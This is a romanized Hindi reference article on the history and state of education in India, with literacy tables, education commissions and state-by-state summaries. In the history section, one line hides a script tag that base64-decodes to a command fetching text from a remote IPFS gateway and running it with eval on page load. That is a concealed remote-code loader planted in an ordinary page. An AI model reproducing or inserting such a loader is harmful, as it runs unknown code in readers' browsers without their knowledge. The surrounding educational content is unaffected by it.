भारत में शिक्षा

1911 mean bharatiy janaganana ke samay saksharata ko paribhashit karate hue kaha gaya hai ki "ek patr padh-likhakar usaka uttar de dene ki yogyata" saksharata hai.

prachin kal

chitr:Blockquote-open.gif ham yah spasht kar dena chahate haian ki bharat ne jitana rrin grahan kiya hai, utana hi athava usase bhi adhik usane pradan kiya hai. bharat ke prati vishv ke rrin ka saraansh is prakar hai-

sampoorn dakshin-poorv eshiya ko apani adhikaansh sanskriti bharat se prapt huee. eesa poorv paanchavian shatabdi ke prarambh mean pashchimi bharat ke upaniveshi lanka mean bas gaye, jinhoanne ashok ke rajyakal mean bauddh dharm svikar kar liya. is samay tak kuchh bharatiy vyapari sambhavataya malaya, sumatra tatha dakshin-poorv eshiya ke any bhagoan mean ane jane lage the. dhire dhire unhoanne sthayi apanivesh sthapit kar lie. isamean sandeh nahian ki pray: unhoanne sthaniy striyoan se vivah kiye. vyapariyoan ke pashchat vahaan brahman tatha bauddh bhikshuk pahuanche aur bharatiy prabhav ne shanai: shanai: vahaan ki svadeshi sanskriti ko jagrat kiya. yahaan tak ki chauthi shatabdi mean sanskrit us kshetr ki rajabhasha ho gayi aur vahaan aisi mahan sabhyataean vikasit hueean jo vishal samudratatiy samrajyoan ka sangathan karane tatha java mean barobadoor ka buddh stoop athava kambodiya mean aangakor ke shaiv mandir jaise ashcharyajanak smarak nirmit karane mean samarth huee. dakshin-poorv eshiya mean any saanskritik prabhav chin evan islami sansar dvara anubhav kie gaye parantu sabhyata ki prarambhik prerana bharat se hi prapt huee

bharatiy itihasakar jo apane desh ke atit par garv karate haian pray: is kshetr ko 'vrihattar bharat' ka nam dete haian tatha bharatiy upaniveshoan ka varnan karate haian. apane samany arth mean 'upanivesh' shabd yuktisangat nahian jan p data hai phir bhi yah kaha jata hai ki pauranik ary vijeta vijay ne talavar ke bal se lanka dvip par vijay prapt ki thi. isake atirikt bharat ki sima ke bahar kisi sthayi bharatiy vijay ka koee vastavik praman upalabdh nahian hai. bharatiy upanivesh shantipriy the aur un kshetroan ke bharatiy nripati svadeshi senapati the. jinhoanne bharat se hi sari shiksha grahan ki thi.- basham ^[1] chitr:Blockquote-close.gif

saltanat kal

alag-alag bhashaoan aur lipiyoan mean likhe ge ashok ke prasiddh shasanadesh bharat ke vibhinn bhagoan mean shilalekh ke roop mean the. ye shasanadesh janata ko sambodhit the, jisaka matalab hai ki janata unhean padh evan samajh sakati thi. uttar bharat ki muslim vijay bhi ek nishchit sima tak saksharata aur shiksha mean kami ane ke lie uttaradayi hai. yadi ham yuddhoan ke evan tanavoan ke ghatak parinamoan ka ullekh n karean to bhi bharat mean islam ki vijay se ek sima tak janata ki shiksha mean giravat aee, jo pahale mahilaoan ke karan likh evan padh sakate the. vaidik yug mean ek kanya ki vivah ki ayu 16 se 18 varsh thi; 12vian sadi mean yah ayu 12-14 ho gee aur age chalakar to yah 7-9 ho gee, isaka parinam yah hua ki mahilaoan ke lie to shiksha ke daravaze band hi kar diye ge.

aupanivesh kal

shiksha ki yooropiy shaili sthapit karane ke bad desh ke bajat ka keval 1.7% shiksha par kharch kiya gaya. yah upaniveshakalin bharat mean shiksha ki sthiti ko batane ke lie paryapt hai ki us samay lokapriy shiksha ka star kya tha. "turki sarakar ke apavad ko chho dakar yoorop mean ek bhi sarakar aisi nahian thi, jo lok-shiksha par itani kam rashi vyay karane vali ho."

kramavar vikas

bharat mean shiksha ke prati rujhan prachin kal se hi dekhane ko milati hai. prachin kal mean gurukuloan, ashramoan tatha bauddh mathoan mean shiksha grahan karane ki vyavastha hoti thi. tatkalin shiksha kendroan mean nalanda, takshashila evan vallabhi ki ganana ki jati hai. madhy kal mean shiksha madarasoan mean pradan ki jati thi. mugal kal mean prathamik shiksha ‘maqatav’ mean di jati thi aur uchch shiksha madarasoan mean di jati thi. shiksha ke yahi do roop the, prathamik aur uchch arthat madhyamik shiksha nahian thi. mugal shasakoan ne dilli, ajamer, lakhanoo evan agara mean madarasoan ka nirman karavaya.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat mean adhunik v pashchaty shiksha ki shurooat british eest iandiya kampani ke shasan kal se huee. 1813 ee. ke chartar mean sarvapratham bharatiy shiksha ke prachar-prasar ke lie ek lakh rupaye ki vyavastha ki gee.
lok shiksha ke lie sthapit samany samiti ke das sadasyoan mean do dal ban gaye the. ek aangl ya pashchaty vidya ka samarthak tha to doosara prachy vidya ka. prachy vidya ke samarthakoan ka netritv lok shiksha samiti ke sachiv ech.ti. priansep ne kiya jabaki inaka samarthan samiti ke mantri ech.ech. vilsan ne kiya. ‘adhomukhi nisyandan siddhant’, jisaka arth tha- shiksha samaj ke uchch varg ko di jaye, ko sarvapratham sarakari niti ke roop mean akalaind ne lagoo kiya. ‘vud dispaich’ ke pahale tak is siddhant ke tahat bharatiyoan ko shikshit kiya gaya.
bord aauph kantrol ke pradhan charls vud ne 19 julaee, 1854 ko bharatiy shiksha par ek vyapak yojana prastut ki jise ‘vud ka dispaich’ kaha jata hai.
vud ke ghoshana-patr dvara shiksha ke kshetr mean huee pragati ki samiksha hetu 1882 ee. mean sarakar ne dablyoo. hantar ki adhyakshata mean ek ayog ki niyukti ki is ayog mean 8 sadasy bharatiy the. ayog ko prathamik evan madhyamik shiksha ki samiksha tak hi simit kar diya gaya tha.
1917 ee. mean kalakatta vishvavidyalay ki samasyaoan ke adhyayan ke lie d aau. em.ee. saidalar ke netritv mean ek ayog gathit kiya gaya.
1929 ee. mean ‘bharatiy pariniti ayog ne sar philip hartog ke netritv mean shiksha ke vikas par riport hetu ek sahayak samiti ka gathan kiya gaya. samiti ne prathamik shiksha ke mahattv ki bat ki. hartog samiti ki sipharish ke adhar par 1935 mean ‘kendriy shiksha salahakar bord’ ka punargathan kiya gaya.
vardha yojana ko kee namoan se jana jata hai yatha- buniyadi shiksha, besik shiksha adi. gaandhiji dvara 1937 ee. mean vardha namak sthan par is yojana ka sootrapat hua. isamean shiksha ke madhyam se hast utpadan karyoan ko mahattv diya gaya. isamean balak apani matribhasha ke dvara 7 varsh tak adhyayan karata tha.
1944 ee. mean kendriy shiksha salahakar mandal ne ‘sarjent yojana’ (sarjent bharat sarakar mean shiksha salahakar the) ke nam se ek rashtriy shiksha yojana prastut ki. isamean 6 se 11 varsh ke bachchoan ke lie ni:shulk anivary shiksha diye jane ki vyavastha ki gee thi.
d aau. sarvapalli radhakrishnan ki adhyakshata mean san 1948-49 mean uchch shiksha ke sujhav ke lie radhakrishnan ayog ka gathan kiya gaya.
1953 ee. mean radhakrishnan ayog ki sipharishoan ko kriyanvit karane ke lie vishvavidyalay anudan ayog ki sthapana ki gayi.
mudaliyar ya madhyamik shiksha ayog ka gathan san 1952-53 mean hua. isane madhyamik shiksha ke lie sujhav die.
d aau. di.es. kothari ki adhyakshata mean julaee 1964 ee. mean kothari ayog ki niyukti ki gee. isane prathamik shiksha, madhyamik shiksha aur uchch arthat vishvavidyalay shiksha ke lie mahattvapoorn sanstutiyaan ya sujhav diye.

bharatiy itihas ke vibhinn yugoan mean saksharata^[2]
kal	kul janasankhya (das lakh mean)	shikshit (das lakh mean)	kul pratishat	shikshit purush %	shikshit mahila %
prachin bharat (300 ee.poo. se 300 eesavi)	120	20	17	27	7
madhyakalin bharat (1200 eesavi)	100	9	9	15	3
upaniveshakakal bharat (1900 tak)	300	18	6	11	0.6
adhunik bharat (1961)	439	105	24	34	13
adhunik bharat (1971)	548	161	29	40	18
adhunik bharat (1981)	634	238	36	47	25

upaniveshakalin janagananaoan mean das varsh se adhik ayu varg mean shiksha aank de^[2]
janaganana varsh	kul janasankhya	purush	mahilaean
1891	6.1	11.4	0.5
1901	6.2	11.5	0.7
1911	7.0	12.6	1.1
1921	8.3	14.2	1.9
1931	9.2	15.4	2.4

uttar pradesh mean shiksha

REDIRECTsaancha:mukhy

uttar pradesh mean 16 vishvavidyalay, 400 se adhik sanbaddh mahavidyalay, kee chikitsa mahavidyalay aur vishisht adhyayanoan v shodh ke lie kee sansthan haian.
1950 ke dashak ke bad se rajy mean vidyalayoan v sabhi staroan par vidyarthiyoan ki sankhya badhane ke bavajood rajy ki janasankhya ka 57.36 pratishat hissa hi sakshar hai.
prathamik star par shiksha ka madhyam hiandi (kuchh niji vidyalayoan mean madhyam aangrezi) hai, uchchatar vidyalay ke vidyarthi hiandi v aangrezi mean padhaee karate haian, jabaki vishvavidyalay star par amataur par shiksha ka madhyam aangrezi hai.

jharakhand mean shiksha

REDIRECTsaancha:mukhy

jharakhand mean saksharata dar 1991 ke 41.39 pratishat ki tulana mean 54.13 pratishat ho gee hai.
yahaan 21,386 vidyalay aur paanch vishvavidyalay haian.
isake alava yahaan iandiyan skool aauf maians, jana- mana vyapar evan prabandhan sansthan, zeviyar lebar rileshans ianstityoot aur keandriy khanan shodh sansthan jaise shaikshanik v shodh sansthan sthit haian.

rajasthan mean shiksha

REDIRECTsaancha:mukhy

rajasthan mean anek shaikshanik sansthan haian.
jinamean rajy dvara sanchalit jayapur, udayapur, jodhapur v ajamer vishvavidyalay; kota khula vishvavidyalay; pilani mean bi dala ianstityoot aauf teknol aauji end sains shamil haian.
yahaan anek rajakiy aspatal aur davakhane haian.
yahaan kee ayurvedik, yoonani (j di-bootiyoan par adharit chikitsa paddhati) evan homiyopaithi sansthan haian.

tamilanadu mean shiksha

REDIRECTsaancha:mukhy

tamilanadu ka saksharata dar lagabhag 73.47 pratishat (2001) hai.
yahaan prathamik, madhyamik v uchch vidyalay aur kala evan vijnan mahavidyalayoan ke sath- sath chikitsa mahavidyalay, abhiyaantriki mahavidyalay, p aauliteknik sansthaean tatha audyogik prashikshan sansthaean haian.
tamilanadu mean 21 vishvavidyalay haian, jinamean- chennee mean madras vishvavidyalay; anna vishvavidyalay; d aau. aanbedakar vidhi vishvavidyalay; chidanbaram mean annamalaee vishvavidyalay; koyanbattoor mean bharathiyar vishvavidyalay, tiroochirappalli mean bharatidasan vishvavidyalay; madurai mean madurai kamaraj vishvavidyalay; kodaikanal mean madar teresa vinas vishvavidyalay; selam mean periyar vishvavidyalay aur tanjavur mean tamil vishvavidyalay shamil haian.

gujarat mean shiksha

REDIRECTsaancha:mukhy

gujarat mean 500 ya isase zyada janasankhya vale lagabhag sabhi gaanvoan mean sat se gyarah varsh ke sabhi bachchoan ke lie prathamik pathashalaean kholi ja chuki haian.
adivasi bachchoan ko kala aur shilp ki shiksha dene ke lie vishesh vidyalay chalae jate haian.
yahaan anek madhyamik aur uchchatar vidyalayoan ke sath-sath nau vishvavidyalay aur uchch shiksha ke lie b di sankhya mean shikshan sansthan haian.
abhiyaantriki mahavidyalayoan aur takaniki vidyalayoan dvara takaniki shiksha upalabdh karaee jati hai.

meghalay mean shiksha

REDIRECTsaancha:mukhy

meghalay bharat ke sabase kam vikasit rajyoan mean se ek hai.
lagabhag adhe se adhik log (63.3 pratishat) sakshar haian.
rajy mean 5,517 shikshan sansthaean haian.

tripura mean shiksha

REDIRECTsaancha:mukhy

21 janavari 1972 mean tripura ke sanpoorn rajy banane ke bad se shiksha ke kshetr mean rajy ne tej gati se vikas kiya hai. akar mean chhota lekin behad khoobasoorat rajy tripura, kshetr aur kshetr ke bahar ke vidyarthianyoan ke lie shiksha ki bahut achchhi suvidha upalabdh kara raha hai. pradesh mean shasakiy vidyalayoan ke sath-sath niji vidyalay bhi sanchalit kie ja rahe haian. dharmik shiksha pradan karane vale bahut se dharmik sansthan bhi is chhote se bharatiy rajy mean apani sevaean de rahe haian.

vidyalay

tripura ke vidyalay ya to tripura madhyamik shiksha bord (tibiesee) ya keandriy madhyamik shiksha bord (sibiesee) se sanbaddh haian. kuchh vidyalay kauansil f aaur d iandiyan skool sartiphiket ekjamineshans (siaeeesasiee) se bhi sanbaddh haian. pradesh mean lagabhag 4,287 vidyalay haian, jinamean se 2,378 jooniyar besik, 1,139 ke lagabhag siniyar besik, 459 uchch aur 311 uchchatar madhyamik vidyalay rajy sarakar aur edisi pradhikaran dvara chalae ja rahe haian. sabhi shreniyoan ke 34,985 se adhik shikshak rajy sarakar dvara sanchalit is shiksha sanjal ko chalayaman rakhane mean lage haian.

panjab mean shiksha

REDIRECTsaancha:mukhy

sarakar ke sath- sath mean niji sangathanoan ne bhi skool aur mahavidyalay star par balak- balikaoan ki shiksha ke vistar mean mahattvapoorn bhoomika nibhaee hai. manyata prapt niji prabandhan vale sansthanoan ko kafi had tak sarakar se madad milati hai. chhah se gyarah sal tak ke bachchoan ke lie prathamik shiksha anivary hai. vastut: pratyek gaanv ke nikat prathamik vidyalay aur rajy mean uchchatar madhyamik, uchch aur madhy vidyalayoan ke sadhan netavark ke bavajood panjab mean 1991 tak sirf 58.5 pratishat janasankhya (sat sal aur usase adhik ayoo ke) sakshar thi, jabaki bharat ka ausat 52.2 pratishat hai. saksharata dar anusoochit janajati (41 pratishat), visheshakar mahilaoan mean (31 pratishat ), kafi kam hai.

asam mean shiksha

REDIRECTsaancha:mukhy

asam mean chhah se barah varsh ki umr tak ke bachchoan ke lie madhyamik star tak anivary tatha ni:shulk shiksha ki vyavastha hai.
guvahati, yorahat evan dibroogadh mean vishvavidyalay haian.
rajy ke 80 se bhi zyada keandroan se lok kalyan ki vibhinn yojanaoan ka sanchalan ho raha hai.

keral mean shiksha

REDIRECTsaancha:mukhy

bharat ki sabase vikasit shaikshanik pranaliyoan mean se ek keral mean hai. saksharata dar rashtriy ausat se kafi adhik hai. 6 se 11 varsh ke bich prathamik shiksha anivary hai. yahaan prathamik, madhyamik aur uchch madhyamik vidyalay, p aauliteknik aur audyogik prashikshan sansthan, kala, vijnan aur vyavasayik mahavidyalay haian. keral mean keral vishvavidyalay, kalikat vishvavidyalay, shri shankarachary sanskrit vishvavidyalay, kannoor vishvavidyalay, mahatma gaandhi vishvavidyalay aur shri chitr thiroonal ianstityoot f aaur medikal saians eand teknokal aauji avasthit haian. knnur, kottayam, koshikod, trishur, alappusha aur tiroovanantapuram mean medikal k aaulej haian; olloor, kottakal, tripunithura aur tiroovanantapuram mean ayurvedik k aaulej aur koshikod mean ek deantal k aaulej sthit hai. koshikod, alappusha, adoor, kasarago d, kochchi, kollam, kannoor, trishur, kottayam, ernakulam, palakka d aur tiroovanantapuram mean ianjiniyariang k aaulej haian.

gova mean shiksha

REDIRECTsaancha:mukhy

gova mean saksharata ka pratishat 82.32 hai, jo bharat mean keral (90.86) aur mizoram (88.80) ke bad tisari sabase adhik hai. gova mean purush 88.88 pratishat aur stri 75.51 pratishat sakshar hai. gova mean skool se lekar k aaulej v takaniki sansthanoan tak vibhinn shreni ke shikshan v prashikshan sansthan haian. panaji ke nazadik hi gova vishvavidyalay sthit hai. ghat aur pot godi gatividhiyoan se paripoorn haian aur isase alag miramar tat hai. jahaan dakshini dhruv ke bare mean apane shodhoan v abhiyanoan ke lie prasiddh samudr vijnan sansthan sthit hai.

jammoo aur kashmir mean shiksha

REDIRECTsaancha:mukhy

jammoo aur kashmir mean shiksha har star par niahshulk hai. saksharata ki dar, visheshakar leh mean, rajy ke ausat ke barabar hai.
uchch shiksha ke do kendr haian. donoan 1969 mean sthapit hue the.
ye haian– kashmir mahavidyalay, shrinagar aur jammoo vishvavidyalay, chikitsa seva rajy bhar mean phaile hue aspataloan aur davakhanoan dvara pradan ki jati hai.

himachal pradesh mean shiksha

REDIRECTsaancha:mukhy

himachal pradesh ne shiksha aur lok svasthy suvidhaoan ke vistar aur sanchar suvidhaoan ke sudhar ki disha mean ullekhaniy pragati ki hai. phir bhi rajy ki adhikaansh janata jivanayapan ke star par hi hai aur rajy ke vishal prakritik sansadhanoan ka yojanabaddh roop se dohan hona abhi baqi hai.
1970 mean shimala mean himachal pradesh vishvavidyalay ki sthapana ke sath hi pradesh mean uchch shiksha sanbhav ho saki.
is vishvavidyalay se 50 se adhik mahavidyalay sanbaddh haian.

odisha mean shiksha

REDIRECTsaancha:mukhy

1947 ke bad shaikshanik sansthanoan mean ullekhaniy vriddhi huee hai.
yahaan paanch vishvavidyalay (aur kee sanbaddh mahavidyalay) haian, jinamean utkal vishvavidyalay aur u disa krishi evan prodyogiki vishvavidyalay sabase b de v vikhyat haian.
shaikshanik sansthanoan ke nam is prakar hai:-
- k aaulej aauf ianjiniyariang aiand teknol aauji (bhuvaneshvar),
- iandira gaandhi ianstityoot aauf teknol aauji (talachar),
- ianstityoot aauf phiziks (bhuvaneshvar).

hariyana mean shiksha

REDIRECTsaancha:mukhy

panjab ki tarah hariyana mean bhi vidyalay aur mahavidyalay, donoan staroan par shiksha ko badhava dene mean sarakar ki bhoomika ke alava niji sansthanoan ne bhi ullekhaniy yogadan diya hai. rajy ke vikas karyakramoan mean shiksha ko uchch prathamikata di gee hai. kala evan vijnan mahavidyalayoan ki sankhya 1966-67 mean 40 se badhakar 1997-98 mean 140 ho gee, is avadhi mean uchch aur uchchtar madhyamik vidyalayoan ki sankhya 597 se 3,517; madhyamik buniyadi pathashalaean 735 se 1,718 aur prathamik buniyadi pathashalaoan ki sankhya 4,447 se 10, 134 ho gee . vibhinn staroan ke ye sansthan rajy ke 6,759 gaanvoan aur 94 qasboan mean sthit hai. inake alava, hariyana mean ab char vishvavidyalay haian: kurookshetr mean kurookshetr vishvavidyalay, rohatak mean maharshi dayanand vishvavidyalay, hisar mean guroo janbheshvar vishvavidyalay aur vikhyat pashupalan vijnan mahavidyalay sahit hariyana krishi vishvavidyalay.

karnatak mean shiksha

REDIRECTsaancha:mukhy

karnatak , jisaki abadi ka lagabhag 67 pratishat hissa sakshar hai, bharat ke shaikshik roop se vikasit rajyoan mean se ek hai.
yahaan b di sankhya mean vidyalay aur uchch shiksha ke sansthan haian, jinamean maisoor mean vishvavidyalay, dharava d sthit karnatak vishvavidyalay aur gulabarga v mangalor vishvavidyalay evan shimoga sthit kuvaianph vishvavidyalay bhi shamil haian.
bangalor vishvavidyalay, krishi vijnan vishvavidyalay aur iandiyan ianstityoot aauf saians, ye sabhi bangalor mean sthit haian.

uttarakhand mean shiksha

REDIRECTsaancha:mukhy

aitihasik roop se yah mana jata hai ki uttarakhand vah bhoomi hai jahaan par shastroan aur vedoan ki rachana ki gee thi aur mahakavy, mahabharat likha gaya tha. rrishikesh ko vyapak roop se vishv ki yog rajadhani mana jata hai. uttarakhand mean bahut se shaikshanik sansthan haian. jaise-

ru daki ka bharatiy praudyogiki sansthan (pahale ru daki vishvavidyalay)
pantanagar ka govind ballabh pant krishi evan praudyogiki vishvavidyalay

dilli mean shiksha

REDIRECTsaancha:mukhy

dilli, bharat mean shiksha ka ek mahattvapoorn keandr hai. dilli ke vikas ke sath-sath yahaan shiksha ka bhi tezi se vikas hua hai. prathamik shiksha to prayah sarvajanik ya ni:shulk hai. ek bahut b de anupat mean bachche madhyamik vidyalayoan mean shiksha grahan kar rahe haian. stri shiksha ka vikas har star par purushoan se adhik hua hai. yahaan ki shiksha sansthaoan mean vidyarthi bharat ke sabhi bhagoan se ate haian. dilli mean uchchatar shiksha evan anusandhan ke anek kendr haian. lagabhag gyarah vishvavidyalay, anek mahavidyalay, anaginat prathamik anusandhan kendr poori dilli mean phaile haian. yahaan kee sarakari evan niji shiksha sansthan haian jo kala, vanijy, vijnan, prodyogiki, ayurvijnan, vidhi aur prabandhan mean uchch star ki shiksha dene ke liye vikhyat haian.

nagalaiand mean shiksha

REDIRECTsaancha:mukhy

nagalaiand ki janasankhya ka 67.11 pratishat hissa sakshar hai, jo rashtriy ausat se adhik hai.
kee prathamik vidyalayoan (1,299), madhyamik vidyalayayoan (358) aur uchchatar madhyamik vidyalayoan (179) ke sath- sath yahaan kee snatak star ke mahavidyalay bhi haian.

pashchim bangal mean shiksha

REDIRECTsaancha:mukhy

pashchim bangal mean 10 vishvavidyalayoan ke sath abhiyaantriki evan chikitsa mahavidyalay haian.
kalakatta, jadavapur aur raviandr bharati vishvavidyalay rajadhani mean sthit haian.
yahaan kee takaniki sansthan aur 5,000 se bhi zyada praudh shiksha keandr haian.

bihar mean shiksha

REDIRECTsaancha:mukhy

yadyapi 20vian sadi ke uttararddh mean bihar ki shiksha dar lagabhag tiguni hokar rajy ki janasankhya ke qarib 48 pratishat tak pahuanch gee hai, phir bhi yah desh ke any rajyoan ki shiksha dar ki tulana mean kafi niche hai. mahila saksharata dar (33.57 pratishat) ki tulana mean puroosh saksharata dar (60.32 pratishat) lagabhag dugani hai. 14 varsh tak ke sabhi bachchoan ko shikshit karana rajy ka pradhan lakshy hai. inamean se lagabhag 90 pratishat bachche prathamik skooloan mean dakhila lene ke yogy haian, lekin inamean se bahut kam hi madhyamik star tak pahuanch pate haian, kyoanki inaki arthik avashyakataean inhean kam karane ke lie badhy karati haian.

madhy pradesh mean shiksha

REDIRECTsaancha:mukhy

2001 ki ganana ke anusar madhy pradesh mean saksharata badhi hai.
1991 ke 44.67 pratishat ki tulana mean saksharata dar badhakar 64.11 pratishat ho gee hai.
yahaan prathamik, madhyamik v uchch shiksha ke vidyalay aur sath hi paliteknik, audyogik kala tatha shilp vidyalay haian.
madhy pradesh mean kee vishvavidyalay haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ adbhut bharat- lekhak- e.el. basham
↑ ^2.0 ^2.1 ^2.2 bharat ka janasankhya moolak adhyayan, lekhak- viktar petrov

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ut bharat- lekhak- e.el. basham

[.E0.A4.9C.E0.A4.A8.E0.A4.B8.E0.A4.82.E0.A4.96.E0.A5.8D.E0.A4.AF.E0.A4.BE-2] 2.0 ^2.1 ^2.2 bharat ka janasankhya moolak adhyayan, lekhak- viktar petrov

[1]

[2]